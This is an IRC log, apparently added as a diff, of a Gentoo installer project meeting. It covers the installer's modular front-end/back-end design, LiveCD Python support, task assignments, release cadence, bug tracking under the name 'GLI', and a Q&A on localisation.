+Feb 05 19:06:53 <esammer>	arch templates define all logic for each arch and the raw actions to take for said arch.
+Feb 05 19:07:02 <--	acooks (~acooks@tbnb-ip-nas-1-p260.telkom-ipnet.co.za) has left #gentoo-installer ("Leaving")
+Feb 05 19:07:31 <esammer>	the back end works with and can generate or "play back" install profiles that contain all info for recreating the installation (cflags, use flags, etc.)
+Feb 05 19:07:46 <esammer>	the front ends are interchangable and contain all UI logic.
+Feb 05 19:08:06 <esammer>	front ends will be available for text, ncurses, gtk, qt, SOAP end points - whatever you want
+Feb 05 19:08:28 <esammer>	this keeps logic and control separate and makes for easy development / customization
+Feb 05 19:08:52 <esammer>	that's the general overall design we have in a nutshell.
+Feb 05 19:09:05 <--	kn0rki (~kn0rki@pD953677D.dip.t-dialin.net) has left #gentoo-installer ("Leaving")
+Feb 05 19:09:07 <esammer>	of course, there's a lot more to it than that, but the docs will go into greater detail
+Feb 05 19:09:48 <esammer>	tseng: unless there's something to add, i'll move along down the rest of the items (which are shorter, i promise)
+Feb 05 19:09:59 <tseng>	sounds good.
+Feb 05 19:10:08 <esammer>	ok. moving along.
+Feb 05 19:10:57 <esammer>	the features we have are what you'd expect. they do not remove any flexibility (or that is the aim) from the current process.
+Feb 05 19:11:15 <esammer>	section 2 of http://www.gentoo.org/proj/en/releng/installer/design.xml lists the big ones
+Feb 05 19:11:30 <esammer>	but most of this i covered with the design overview
+Feb 05 19:12:31 <esammer>	we'll get into questions about specific features at the end, but suffice it to say, it's multi front ends, automated deployment, full arch support, reusable back end, customization of steps and process, and more
+Feb 05 19:13:04 <esammer>	we also just spoke briefly about l10n support in the UIs. this is a greater issue which we can cover in QA
+Feb 05 19:13:25 <esammer>	moving on (unless i've missed something)
+Feb 05 19:13:45 <danarmak>	do you mean we won't discuss l10n today?
+Feb 05 19:14:01 <tseng>	discussion is last.
+Feb 05 19:14:07 <esammer>	danarmak: the specific implementation, not right now. we can in QA.
+Feb 05 19:14:20 <danarmak>	er...
+Feb 05 19:14:26 <danarmak>	QA as questions/answers?
+Feb 05 19:14:30 <esammer>	yes
+Feb 05 19:14:34 <danarmak>	sorry, misunderstood. please continue.
+Feb 05 19:14:41 <esammer>	ok.
+Feb 05 19:14:51 <esammer>	in terms of publicity, we've been a little quiet.
+Feb 05 19:15:07 <esammer>	this is mainly because this is a hot spot of discussion for a lot of people
+Feb 05 19:15:18 *	tigger^ coughs
+Feb 05 19:15:35 <esammer>	we wanted to get an initial design done so that we can answer questions as fast as we know they'll be asked.
+Feb 05 19:16:19 <esammer>	we do NOT want to remove flexibility from anyone which is a major (and justified) concern and we wanted to figure out how to accomplish that before the onslaught of questions
+Feb 05 19:16:55 <esammer>	now that we have a semi functional design and a team in place, we will start on a very rough prototype to show people.
+Feb 05 19:17:27 <esammer>	this prototype should be semi working when we announce to GWN and gentoo.org so people can SEE an example of the design in action.
+Feb 05 19:18:21 <esammer>	hopefully, this prototype shouldn't take too long (2 - 4 weeks, *maybe*)
+Feb 05 19:18:30 <esammer>	but i don't want to commit to a date
+Feb 05 19:19:10 <esammer>	after this is done, we will open it up to the full community at which point we'll integrate comments and suggestions
+Feb 05 19:19:32 <esammer>	and by full, i mean users and devs (GWN, gentoo.org news, etc.)
+Feb 05 19:19:52 <esammer>	tseng: anything else wrt this?
+Feb 05 19:20:05 <karltk>	esammer: main web home
+Feb 05 19:20:09 <karltk>	esammer: "project pages"
+Feb 05 19:20:20 <tseng>	the mailing list and here will be where the action happens
+Feb 05 19:20:31 <tseng>	but milestones etc will be made more public
+Feb 05 19:20:46 <esammer>	we do have the list and the project pages in place as a beginning for those interested.
+Feb 05 19:20:52 <esammer>	right.
+Feb 05 19:21:11 <esammer>	anything else?
+Feb 05 19:21:24 <tseng>	i dont think.
+Feb 05 19:21:42 <esammer>	ok. the initial delegation of tasks.
+Feb 05 19:22:11 <esammer>	we already have a few coders, as well as documentation and advisers.
+Feb 05 19:22:13 <spy|lab>	i'll sit back and take credit for your hard work.
+Feb 05 19:22:20 <esammer>	heh
+Feb 05 19:22:50 <esammer>	i think we might want to wait until we get to recruitment / getting involved as we'll hopefully have more names in the proverbial hat
+Feb 05 19:23:04 spyderous spy|lab Feb 05 19:23:05 <tseng>	esammer, could you lay out an idea of what needs done breifly
+Feb 05 19:23:11 <esammer>	sure.
+Feb 05 19:23:13 <tseng>	and we can tentatively put names to it
+Feb 05 19:23:28 ---	pauldv|away is now known as pauldv
+Feb 05 19:24:21 <esammer>	currently, we have tseng, klieber, spyderous, and pauldv, and myself doing design and adviser work. karltk, npmccallum, and myself are coding. blackace has been doing our docs with tseng (iirc).
+Feb 05 19:24:30 <esammer>	design has mostly been a group effort
+Feb 05 19:24:40 <esammer>	we need more coders, imo.
+Feb 05 19:25:01 <esammer>	we also have danarmak and dams that have been helping
+Feb 05 19:25:03 <karltk>	esammer: I don't think the prototype phase is the best period to add coders.
+Feb 05 19:25:13 <johnm>	I dont think youll have any problems in that respect, and you need not worry. (sorry please continue)
+Feb 05 19:25:30 <karltk>	esammer: most certainly we will need more coders as the initial implementation has stabilised.
+Feb 05 19:25:31 <esammer>	karltk: it's possible you're correct. that is something we need to figure out
+Feb 05 19:25:41 <esammer>	johnm: i think you're right
+Feb 05 19:25:45 <esammer>	right
+Feb 05 19:25:47 <tseng>	both very good points.
+Feb 05 19:26:12 <esammer>	in case i glazed over it, implementation is python and some shell magic
+Feb 05 19:26:38 <tigger^>	esammer: I assume python will be put on the livecd?
+Feb 05 19:26:46 <esammer>	tigger^: that's a good question.
+Feb 05 19:26:59 <tigger^>	assuming it isn't already, I didn't think it was
+Feb 05 19:27:04 <esammer>	there was talk of that or a custom live cd with the stuff needed for the installer
+Feb 05 19:27:09 <karltk>	tigger^: how can portage work without python?
+Feb 05 19:27:18 <tigger^>	karltk: portage doesn't need to
+Feb 05 19:27:25 <pauldv>	tigger^: I don't think it is a big problem to add it
+Feb 05 19:27:25 <tigger^>	karltk: portage is in the tarball remember?
+Feb 05 19:27:26 <johnm>	tigger^: it isnt. it may also rais ean issue of what UI languages can be used (python hooks)
+Feb 05 19:27:30 <iggy>	it is on the livecd's
+Feb 05 19:27:30 <danarmak>	portage isn't on the livecd, it's in the stage tarball
+Feb 05 19:27:31 <esammer>	karltk: i think python is only in the *stages* not the livecd
+Feb 05 19:27:38 <karltk>	tigger^: ah, mea culpa.
+Feb 05 19:27:58 <tseng>	this problem will quickly solve itself if we have a finished product and a need for python
+Feb 05 19:28:03 <iggy>	I just checked, it is on the livecd's
+Feb 05 19:28:04 <tigger^>	pauldv: me neither really, just saying
+Feb 05 19:28:12 <esammer>	iggy: python is?
+Feb 05 19:28:20 <iggy>	esammer: yes
+Feb 05 19:28:21 <johnm>	iggy: thats one less issue.
+Feb 05 19:28:26 <spy|lab>	that's odd. wonder why.
+Feb 05 19:28:27 <esammer>	ok. that answers that.
+Feb 05 19:28:27 <karltk>	johnm: that's livecd-specific. whatever gentoo users for their official livecds may not be the desired choice for people using catalyst to build their own livecds
+Feb 05 19:28:38 <iggy>	python2.2 if it matters
+Feb 05 19:28:48 <karltk>	iggy: it does. and 2.2 is good enough:)
+Feb 05 19:28:55 <johnm>	iggy: the range of languages able to be used as a UI may still have an impact. but minimal I'm sure
+Feb 05 19:28:59 <npmccallum>	we'll also need more modules, but these are all implementation details
+Feb 05 19:29:20 <karltk>	npmccallum: actually, it would affect the roadmap.
+Feb 05 19:29:41 <esammer>	obviously, a live cd that doesn't have a full X environment limits the UIs available so that will be another issue. we'll need to work with the releng team (corect?) to find out what we can do here. and no, X won't be on every live cd because of this.
+Feb 05 19:29:51 <karltk>	if the sooner we can have a good idea of the installer core and specify the module interfaces, the sooner we can put more people to work on the various plugin modules in parallell
+Feb 05 19:30:14 <karltk>	if the/the
+Feb 05 19:30:26 <esammer>	ok. so this is something that has to be worked on.
+Feb 05 19:30:58 <johnm>	And my appologies for interrupting once more, but just in case it hasnt been thought of in design, we should leave opportunity for portage-ng support.
+Feb 05 19:31:10 <npmccallum>	esammer: what are you referring to by "this", coordinating with the releng team?
+Feb 05 19:31:49 <esammer>	npmccallum: the releng team controls what's on the live cd, iirc, which will affect what UI support the installer will have
+Feb 05 19:32:46 <npmccallum>	esammer: right, I'm just trying to understand what to put on the TODO list :)
+Feb 05 19:32:48 <esammer>	either way, the base back end can be worked on before this is decided. this will affect the roadmap though, as karltk said, so it should be looked into quickly.
+Feb 05 19:32:54 <spy|lab>	although the ability for anyone to build their own livecds should have a big effect on that.
+Feb 05 19:33:01 spyderous spy|lab Feb 05 19:33:03 <esammer>	spy|lab: yes
+Feb 05 19:34:01 <esammer>	npmccallum: just put down that we need to figure out what is required of the live cd, if it can be the regular live cd and if a custom live cd is required
+Feb 05 19:34:35 <esammer>	in the interest of time, i'm going to move along. this isn't going to be decided right now.
+Feb 05 19:35:53 spyderous spy|lab Feb 05 19:36:02 <--	acidfunk has quit ("ACAB")
+Feb 05 19:36:25 <esammer>	to cover tasks again, quickly - karltk, npmccallum, myself coding. blackace documentation. project pages tseng & spy|lab? advisers - everyone else. design community and karltk & myself will coordinate it
+Feb 05 19:36:30 <esammer>	is this acceptable?
+Feb 05 19:36:34 <--	tigger^ (~rob@smtp.gentoo.org) has left #gentoo-installer
+Feb 05 19:36:43 <tseng>	yes.
+Feb 05 19:36:50 <esammer>	ok.
+Feb 05 19:36:53 <spy|lab>	yep.
+Feb 05 19:37:07 <esammer>	release cycles and practices
+Feb 05 19:37:22 <pauldv>	esammer: sounds ok to me
+Feb 05 19:37:34 <esammer>	are we ok with following a XP style system where we code, test, release every X days?
+Feb 05 19:37:47 <esammer>	s/days/<measure of time>/
+Feb 05 19:38:12 <tseng>	maybe target that, but also try and put out a decent snapshot?
+Feb 05 19:38:22 <tseng>	a little flexible of the time
+Feb 05 19:38:29 <esammer>	tseng: right, with snapshots at the end of each cycle
+Feb 05 19:38:43 <johnm>	esammer: I prefer the gnome/mozilla style releases. although initially, days->weeks seems quite alright to me.
+Feb 05 19:38:46 <danarmak>	how stable/complete or alternatively WIP will such releases be? what are you willing to release? will there be a latest-stable and latest-dev release?
+Feb 05 19:38:46 <esammer>	we can release snapshots if we pass a milestone or something
+Feb 05 19:39:05 <karltk>	esammer: yes, xp lends itself extremely well to prototyping projects
+Feb 05 19:39:44 <karltk>	esammer: I've run a few commercial prototyping projects using xp, and the good thing is that you always have a running prototype (after the initial release) that you can point people to.
+Feb 05 19:39:45 <spy|lab>	i'd suggest a bimonthly snapshot, say the 15 and 30
+Feb 05 19:39:49 <esammer>	danarmak: i think we'll have unstable (could be broken) snapshots and maybe milestone snapshots that are semi stable initially
+Feb 05 19:40:04 <esammer>	karltk: that's what i was thinking as well
+Feb 05 19:40:06 <spy|lab>	then manual snapshots in addition to that when we feel it'd be useful
+Feb 05 19:40:40 <esammer>	as long as each snapshot isn't broken or dangerous, the more often for testing, the better.
+Feb 05 19:40:45 <esammer>	imo, that is
+Feb 05 19:41:33 <esammer>	we'll decide the frequency as we see how the code initially develops, but let's plan on very short cycles to allow for a lot of feedback and community review
+Feb 05 19:41:55 <esammer>	is this ok?
+Feb 05 19:42:04 <karltk>	sounds good to me.
+Feb 05 19:42:11 <esammer>	ok.
+Feb 05 19:42:25 <pauldv>	I think the most important thing is to start with one frontend only. You will probably need to review design so each frontend adds duplicate efforts when things change
+Feb 05 19:42:37 <esammer>	pauldv: this is true.
+Feb 05 19:42:53 <tseng>	before any frontend there has to be a begining of the api
+Feb 05 19:43:13 <tseng>	we already discussed starting with the kickstart-style frontend after this is in place
+Feb 05 19:43:22 <karltk>	pauldv: the various frontends will hopefully be "just" as any other pluggable module.
+Feb 05 19:43:34 -->	z3b (~z3b@p213.54.31.103.tisdip.tiscali.de) has joined #gentoo-installer
+Feb 05 19:43:43 <esammer>	if we can start with a back end that takes a profile and runs with it, i'd be happy.
+Feb 05 19:43:59 <pauldv>	karltk: I know, that's why you can delay creating them until you are fairly certain that the interface/api is stable
+Feb 05 19:44:06 <tseng>	you need a tiny bit of user intereaction here
+Feb 05 19:44:24 <tseng>	for the standalone, which is why that will be first out..
+Feb 05 19:45:01 <karltk>	pauldv: exactly.
+Feb 05 19:45:02 <esammer>	ok. so we'll start with something that is probably just a profile parser and hands off for execution to the api (back end)
+Feb 05 19:45:35 <esammer>	we'll develop each front end as appropriate when the api becomes stable(ish)
+Feb 05 19:45:54 <esammer>	although it's probably easier to start with text based UIs
+Feb 05 19:46:16 <esammer>	in terms of resources
+Feb 05 19:46:34 <esammer>	i think we have everything we need right now - project page, cvs access, lists, irc, etc.
+Feb 05 19:46:37 <esammer>	are we missing anything?
+Feb 05 19:47:16 <esammer>	i suppose that's a "no." :)
+Feb 05 19:47:24 <esammer>	i'll move on then...
+Feb 05 19:47:33 <karltk>	yes, a bug repository
+Feb 05 19:47:39 <esammer>	karltk: good call.
+Feb 05 19:47:41 <klieber>	bugs.g.o?
+Feb 05 19:47:58 <esammer>	can we get a product in bz or something similar?
+Feb 05 19:48:04 <karltk>	klieber: that's good enough, if we can get our own "module" or whatever it's called in bugzilla:)
+Feb 05 19:48:15 <klieber>	I have connections...I'll see what I can do.
+Feb 05 19:48:26 <esammer>	klieber: cool. that would be very helpful
+Feb 05 19:48:27 <karltk>	klieber: (lol), that's good.
+Feb 05 19:48:51 <esammer>	anything else?
+Feb 05 19:49:14 <karltk>	esammer: we may want to add an installer-specific bugreport tool early on, to avoid having people litter the other products with installer-specific bugs
+Feb 05 19:49:30 <esammer>	karltk: sure. that's fine.
+Feb 05 19:49:31 <npmccallum>	we don't have a general link to our project page from the "projects" page
+Feb 05 19:49:37 <npmccallum>	but that is small
+Feb 05 19:49:45 <spy|lab>	that's because it isn't top-level
+Feb 05 19:50:09 <karltk>	the desire for a proper project directory on g.o. is a different debate, I think:)
+Feb 05 19:50:24 <spy|lab>	where we do need a link is off the releng index, drobbins
+Feb 05 19:50:38 <npmccallum>	yeah
+Feb 05 19:51:15 <klieber>	ok, small issue with the bugzilla thing...
+Feb 05 19:51:18 <esammer>	ok. someone can look into that, but i think we'll only really need that when we start announcing to the entire community
+Feb 05 19:51:19 <tseng>	npmccallum: add bugzilla + releng link
+Feb 05 19:51:29 <npmccallum>	already done
+Feb 05 19:51:32 <tseng>	:)
+Feb 05 19:51:35 <esammer>	klieber: what's that?
+Feb 05 19:51:39 <klieber>	I guarantee that if I create a new bz product called "installer" you guys will be the proud new parents of any/all install related bugs.
+Feb 05 19:51:48 <klieber>	"I can't partition my hard drive. waaahhhh!!!"
+Feb 05 19:51:48 <mut3x>	heh
+Feb 05 19:52:09 <klieber>	so do you want to have another name?
+Feb 05 19:52:16 <npmccallum>	GLI?
+Feb 05 19:52:17 <esammer>	ok. is anyone opposed to something like "GLI"
+Feb 05 19:52:19 <esammer>	heh
+Feb 05 19:52:20 <karltk>	"chickenpoop"
+Feb 05 19:52:27 <esammer>	karltk: no.
+Feb 05 19:52:33 <esammer>	:)
+Feb 05 19:52:35 <tseng>	klieberismydaddy
+Feb 05 19:52:41 *	klieber coughs
+Feb 05 19:52:46 <klieber>	how about GLI :)
+Feb 05 19:52:52 <tseng>	that works too..
+Feb 05 19:52:56 <esammer>	klieber: that's fine.
+Feb 05 19:52:58 <npmccallum>	GLI it is...
+Feb 05 19:52:59 <karltk>	GLI is suitably obscure
+Feb 05 19:53:25 <tseng>	then wranglers can move stuff there as needed.
+Feb 05 19:53:27 <pauldv>	esammer: please bug seemant about adding the installer subproject as a subproject on the releng project page
+Feb 05 19:53:34 <spy|lab>	so obscure that people won't know to file it in that category
+Feb 05 19:53:37 <esammer>	pauldv: will do.
+Feb 05 19:53:55 <klieber>	spy|lab: there is a one-sentence description as well :P
+Feb 05 19:54:26 <spy|lab>	klieber: "File all GLI-related bugs here."
+Feb 05 19:54:46 <klieber>	heh
+Feb 05 19:54:50 <esammer>	ok - is anyone opposed to regular (if only informal) meetings?
+Feb 05 19:55:02 <karltk>	that's probably a good idea.
+Feb 05 19:55:08 <esammer>	or should i call them "review points"?
+Feb 05 19:55:15 <spy|lab>	weekly?
+Feb 05 19:55:19 <esammer>	(as to not offend corporate types)
+Feb 05 19:55:40 <esammer>	in terms of frequency, it should probably coincide with coding and snapshots
+Feb 05 19:55:43 <esammer>	or testing
+Feb 05 19:55:48 <klieber>	do we need meetings?
+Feb 05 19:55:53 <klieber>	or just status reports?
+Feb 05 19:56:01 <esammer>	klieber: that's why i'm asking
+Feb 05 19:56:02 <tseng>	status reports can be on the project page.
+Feb 05 19:56:09 <klieber>	I'd suggest status reports.
+Feb 05 19:56:14 <tseng>	i dont think we need a meeting again soon..
+Feb 05 19:56:20 <karltk>	we must have status reports.
+Feb 05 19:56:20 <klieber>	meetings should be ongoing via the mailing list and here.
+Feb 05 19:56:23 <klieber>	rather than anything formalized.
+Feb 05 19:56:27 <tseng>	right.
+Feb 05 19:56:29 <klieber>	(imo)
+Feb 05 19:56:29 <npmccallum>	not till we have a prototype
+Feb 05 19:56:43 <klieber>	we should have status reports even before then, I would think
+Feb 05 19:56:48 <esammer>	ok. no meetings, status reports.
+Feb 05 19:57:01 <npmccallum>	meetings after prototype?
+Feb 05 19:57:05 <spy|lab>	meetings as necessary, might be a better way to put that =P
+Feb 05 19:57:09 <tseng>	ocassionally
+Feb 05 19:57:15 <tseng>	what spy said..
+Feb 05 19:57:19 <npmccallum>	sounds good to me
+Feb 05 19:57:27 <karltk>	ok, I suggest that for now, we have impromptu meetings, or meetings called on -installer.
+Feb 05 19:57:29 <esammer>	for the coders, i suggest we either meet regularly or spend a lot of time here together to dicuss coding issues
+Feb 05 19:57:38 <karltk>	if it turns out that this doesn't work well enough, we can always reconsidre.
+Feb 05 19:57:50 <npmccallum>	I'll be here often (IRC)
+Feb 05 19:58:15 <karltk>	esammer: yeah, as I said elsewhere, we should also investigate a network canvas and an audio conferencing tool for the tough discussions.
+Feb 05 19:58:36 <esammer>	karltk: that's fine. we can figure that out amongst ourselves, i think.
+Feb 05 19:58:50 <esammer>	ok...
+Feb 05 19:58:53 <esammer>	moving on?
+Feb 05 19:59:02 <npmccallum>	frequency of status reports?
+Feb 05 19:59:05 <karltk>	esammer: you're at the end of the list. are you wrapping?;P
+Feb 05 19:59:08 <npmccallum>	did we cover that?
+Feb 05 19:59:21 <pauldv>	esammer: just call a meeting when needed
+Feb 05 19:59:21 <tseng>	yeah..
+Feb 05 19:59:24 <esammer>	npmccallum: let's say weekly initially
+Feb 05 19:59:33 <klieber>	who do you want bug mails to go to?
+Feb 05 19:59:40 <karltk>	npmccallum: at least alongside the releases.
+Feb 05 19:59:41 <tseng>	um..
+Feb 05 19:59:44 <tseng>	gli-bugs@g.o?
+Feb 05 19:59:59 <klieber>	okaly dokaly neighbor
+Feb 05 20:00:05 -->	Luke-Jr (~luke-jr@198.248.39.176) has joined #gentoo-installer
+Feb 05 20:00:16 <npmccallum>	ok
+Feb 05 20:00:23 <esammer>	one more thing before we do QA / wrap up - recruitment / getting involved
+Feb 05 20:00:49 <esammer>	karltk mentioned that the actual coders we have for the prototype are ok, which is probably true.
+Feb 05 20:01:31 <esammer>	so, in a more generic sense, those who want to get involved are urged to join gentoo-installer@l.g.o and idle in here.
+Feb 05 20:01:56 <pauldv>	esammer: while I think that publicity is nice, be carefull with not recruiting more people than is actually usefull (it will only slow things down)
+Feb 05 20:02:13 <esammer>	pauldv: correct, which is why i'm going to go with karltk
+Feb 05 20:02:54 <esammer>	i would like to invite everyone here to go over the design docs and comment, though.
+Feb 05 20:03:08 <esammer>	we need (constructive) input.
+Feb 05 20:03:12 <klieber>	blue!
+Feb 05 20:03:14 <klieber>	oh sorry.
+Feb 05 20:03:18 <esammer>	yes, yes, blue
+Feb 05 20:03:43 <klieber>	has anyone tested the cvs module yet to see if it works?
+Feb 05 20:03:52 <esammer>	klieber: i haven't, no.
+Feb 05 20:03:54 <klieber>	also, how do you want to distribute tarballs?
+Feb 05 20:04:08 <klieber>	we can use /experimental if you'd like
+Feb 05 20:04:21 <klieber>	rather than ~esammer
+Feb 05 20:04:23 <spy|lab>	i'd put 'em out of someone's dev.g.o website initially, no point in mirroring for such small numbers
+Feb 05 20:04:25 <karltk>	klieber: that's probably a good idea.
+Feb 05 20:04:36 <esammer>	in this instance, would adding an ebuild for snapshots be ok?
+Feb 05 20:04:50 <klieber>	if you do that, I'd rather you not pull off of dev, then.
+Feb 05 20:04:52 <karltk>	esammer: can people install the installer?
+Feb 05 20:04:57 <klieber>	and use /experimental instead
+Feb 05 20:05:00 <esammer>	karltk: heh
+Feb 05 20:05:02 <npmccallum>	once we have a release, do we want to make an ebuild and put it in the tree? (does catylist need it in the tree?)
+Feb 05 20:05:24 <tseng>	i wouldnt provide an in-tree ebuild
+Feb 05 20:05:26 <karltk>	npmccallum: it's going to be quite some time before we can interact with catalyst
+Feb 05 20:05:26 <enriQUE_>	is the arch-tempelates going to be DTD's? i think it be neat
+Feb 05 20:05:31 <tseng>	at this point or any time soonish
+Feb 05 20:05:39 <spy|lab>	karltk: should be able to install, so they could generate a profile with the front-end to use remotely
+Feb 05 20:05:59 <esammer>	ok. no ebuild, snapshots in /experiemental?
+Feb 05 20:06:14 <esammer>	enriQUE_: we'll get to Q&A in a moment, i promise :)
+Feb 05 20:06:17 <karltk>	spy|lab: that's probably a good idea when we have a semi-stable interactive front-end
+Feb 05 20:06:27 <klieber>	esammer: let me know before you want to distribute the first snapshot, so I can set up a proper directory structure, etc.
+Feb 05 20:06:36 <enriQUE_>	ah, pardon me...
+Feb 05 20:06:38 <esammer>	klieber: sounds good.
+Feb 05 20:06:41 <esammer>	enriQUE_: no worries
+Feb 05 20:06:55 <karltk>	for now, I'd like for us to aim for making the release accessible to the people directly interested the projet, and not all-and-sundry users
+Feb 05 20:07:54 <esammer>	ok - so /experimental or d.g.o?
+Feb 05 20:08:00 <esammer>	initially
+Feb 05 20:08:29 <esammer>	klieber: you're infra, why don't you make the call.
+Feb 05 20:08:32 <danarmak>	agreed
+Feb 05 20:08:40 <karltk>	either is fine; we need a place in /experimental eventually.
+Feb 05 20:08:52 <klieber>	experimental then
+Feb 05 20:09:07 <esammer>	 /exp it is
+Feb 05 20:09:46 <esammer>	i'm going to turn this back to tseng (who can open it to Q&A) because i'm tired of typing like crazy
+Feb 05 20:10:10 <esammer>	(someone wake up tseng) :)
+Feb 05 20:10:22 <klieber>	tseng: cookies!
+
+Feb 05 20:10:37 <esammer>	ok. i'll open it up to Q&A. :)
+Feb 05 20:10:43 <danarmak>	he's in #gentoo-dev
+Feb 05 20:10:52 -->	bion (~bion@nat.resnet.ltu.edu) has joined #gentoo-installer
+Feb 05 20:11:03 <enriQUE_>	First: my apologies for being eager and abrupting in the team meating :">
+Feb 05 20:11:09 <esammer>	enriQUE_: no problem. :)
+Feb 05 20:11:30 <enriQUE_>	Secondly my question was: is the arch-tempelates going to be DTD's? I think it'd be neat (being an webstandards- and GUI/UI-enthusiast)
+Feb 05 20:11:53 <tseng>	HI!
+Feb 05 20:11:56 <esammer>	enriQUE_: there will be DTDs for all XML files (install profiles and arch templates) so documents can be vaidated properly
+Feb 05 20:12:01 <esammer>	tseng: :)
+Feb 05 20:12:10 <tseng>	i guess its open now :)
+Feb 05 20:12:11 <esammer>	validated, even
+Feb 05 20:12:16 <tseng>	ill eat my cookies
+Feb 05 20:12:28 <karltk>	enriQUE_: we'll probably also write a semantic validator, for the cases possible.
+Feb 05 20:13:18 -->	roger55 (~roger@dsl-243-200.utaonline.at) has joined #gentoo-installer
+Feb 05 20:13:42 -->	[dx]anti (~russ@164.109.8.241) has joined #gentoo-installer
+Feb 05 20:13:43 <enriQUE_>	reason being of course that I'd like to be able to contribute, though just being an simple webcoder :P
+Feb 05 20:14:06 <danarmak>	ok to ask next question?
+Feb 05 20:14:13 <esammer>	danarmak: shoot
+Feb 05 20:14:22 <esammer>	enriQUE_: i don't see a problem there.
+Feb 05 20:14:22 <karltk>	enriQUE_: hang around here and you'll find plenty of work:)
+Feb 05 20:14:28 <danarmak>	well, i'd like to raise the issue of l10n :-)
+Feb 05 20:14:51 <danarmak>	we've discussed this before but now there's a much bigger audience so perhaps some more questions will get answered by knowledgeable people.
+Feb 05 20:15:07 <danarmak>	are installer frontends to have l10n (localization - display of text in various languages)?
+Feb 05 20:15:14 <karltk>	danarmak: _yes_
+Feb 05 20:15:16 <esammer>	danarmak: yes.
+Feb 05 20:15:23 <danarmak>	ok, i know that part :-)
+Feb 05 20:15:29 <[dx]anti>	danarmak, _("yes")
+Feb 05 20:15:40 <esammer>	how it will be handled is more an implementation issue, i think.
+Feb 05 20:15:41 <danarmak>	i wanted to present the issue for those who weren't here before; will try to make shorter
+Feb 05 20:15:42 <karltk>	anti: lol
+Feb 05 20:15:48 <spy|lab>	danarmak: i'm a little confused about l10n, i18n and UTF-8 ... do you have any resources you could point me and anyone else at?
+Feb 05 20:16:13 <karltk>	spy|lab: you forgot m17n:)
+Feb 05 20:16:20 <spy|lab>	karltk: i can't forget something i didn't know
+Feb 05 20:16:39 <spy|lab>	oh, i want to push a11y on this
+Feb 05 20:16:40 <danarmak>	anyway, the more interesting thing is how much/well frontends can share translations;
+Feb 05 20:17:06 <danarmak>	does anyone know the possibilities of l10n for a console FE
+Feb 05 20:17:09 <esammer>	danarmak: i believe gettext handles most of the string database stuff. we can use something like that.
+Feb 05 20:17:23 <danarmak>	and which frontend library we'd best use for it with that in view, even if we don't engage in l10n right away.
+Feb 05 20:17:25 <tseng>	danarmak, i believe redhat has utf8 console
+Feb 05 20:17:32 <[dx]anti>	Just joined here, don't know much about the project really. Are the goals of GLI to be good Desktop / Home User installer, or also include kick start like functionality, remote and bulk installation?
+Feb 05 20:17:36 <tseng>	but i have no details
+Feb 05 20:17:40 <danarmak>	tseng: and does it just work? i haven't tried so....
+Feb 05 20:17:48 <karltk>	danarmak: the technical details are at best skimpy atm. the gtk+ and qt frontends a fairly trivial; both gtk+2 and qt have very good i18n support that's well-documented.
+Feb 05 20:17:48 <spy|lab>	[dx]anti: go to the homepage, read the docs before you ask anything else =P
+Feb 05 20:18:04 <danarmak>	karltk: right.
+Feb 05 20:18:29 <karltk>	danarmak: however, you cannot expect to have the same strings in the textmode ui as the graphical ui.
+Feb 05 20:18:32 <[dx]anti>	spy|lab, ah yes :)
+Feb 05 20:18:32 <tseng>	danarmak: i only know it exists in some form, tbh..
+Feb 05 20:18:34 <danarmak>	the issue is basically, although we perhaps won't be implementing it right away, how much we need to plan ahead when designing the first FE(s)
+Feb 05 20:19:03 <danarmak>	a11y is also an issue, but someone else should talk about that, i don't know anything.
+Feb 05 20:19:03 <karltk>	danarmak: so there will not be a 100% overlap of the localisable text present in the textmode and the graphical mode frontends.
+Feb 05 20:19:24 <npmccallum>	danarmak: being that there will be many FEs designed for different purposes (web interface, Desktop, Newbie install, etc) they probably won't share much text at all
+Feb 05 20:19:33 <dams>	plop
+Feb 05 20:19:35 <esammer>	there are a number of provisions for l10n and text databases. i don't foresee a problem here.
+Feb 05 20:19:50 <danarmak>	esammer: the only problems are with display, not storage
+Feb 05 20:19:55 <danarmak>	afaik anyway
+Feb 05 20:20:10 <danarmak>	look fex at how kde does things:
+Feb 05 20:20:17 <esammer>	danarmak: well, i know it can be done and that's all that's really important right now.
+Feb 05 20:20:31 <danarmak>	when using l10n for hebrew, which is right-to-left, it also reverses the direction of widgets like trees...
+Feb 05 20:20:38 <danarmak>	so just an idea to think over :-) thanks.
+Feb 05 20:21:12 <esammer>	danarmak: absolutely. we will certainly support as many languages as humanly possible with as many UIs as possible.
+Feb 05 20:21:14 <npmccallum>	widgets are a long way away, we need API first
+Feb 05 20:21:14 <Luke-Jr>	So this is GLIS-based or are you actually going to recreate what I already started?
+Feb 05 20:21:16 <karltk>	danarmak: we'll obviously have to recruit some i18n guys; I know graphical mode is easy enough, but is there a hebrew console?;)
+Feb 05 20:21:34 <karltk>	Luke-Jr: we'll reuse all the good ideas.
+Feb 05 20:21:45 <spy|lab>	Luke-Jr: check out the design doc and others on the homepage in topic
+Feb 05 20:21:48 <npmccallum>	Luke-Jr, we aren't reusing code however
+Feb 05 20:21:51 <Luke-Jr>	spy|lab: I did.
+Feb 05 20:21:57 <danarmak>	karltk: there's a good english+hebrew console via hebrew<->ascii mapping. i've never seen a unicode console, or a unicode console font.
+Feb 05 20:22:08 <karltk>	Luke-Jr: but as we have different requirements than what GLIS did, we can't reuse much code.
+Feb 05 20:23:01 <Luke-Jr>	karltk: Mine wasn't GLIS-based nor compatible.
+Feb 05 20:23:07 <klieber>	nor usable
+Feb 05 20:23:08 <klieber>	but anyway
+Feb 05 20:23:12 <karltk>	danarmak: ok. well, I can't tell you more than that we really want this to be handled well, but that we'll have to do an initial prototype on the basic stuff first. we may then do a new prototype (or several) on how to i18n the beast:)
+Feb 05 20:23:26 <Luke-Jr>	klieber: Nor is any project usable until it reaches a certain stage
+Feb 05 20:23:42 <spy|lab>	Luke-Jr, klieber: can you please save your arguments for a different time or forum
+Feb 05 20:23:59 <karltk>	Luke-Jr: we've mostly abandonded the code from the nine previous installer attempts.
+Feb 05 20:24:56 <karltk>	Luke-Jr: since you read the design docs, and I don't have cvs on this box I'm at currently, do you know if there are pieces of your installer project that would be reusable in GLI?
+Feb 05 20:24:58 <Luke-Jr>	karltk: Based on the docs, it looks like you could possibly be rewriting the one I am working on.
+Feb 05 20:25:09 <bion>	is this going to be another "failed" attempt?
+Feb 05 20:25:24 <bion>	shouldn't everyone interrested actually be involved?
+Feb 05 20:25:42 *	karltk has to leave now.
+Feb 05 20:25:44 <tseng>	thats an odd question
+Feb 05 20:25:50 <spy|lab>	bye karltk
+Feb 05 20:25:55 <esammer>	are there any other questions?
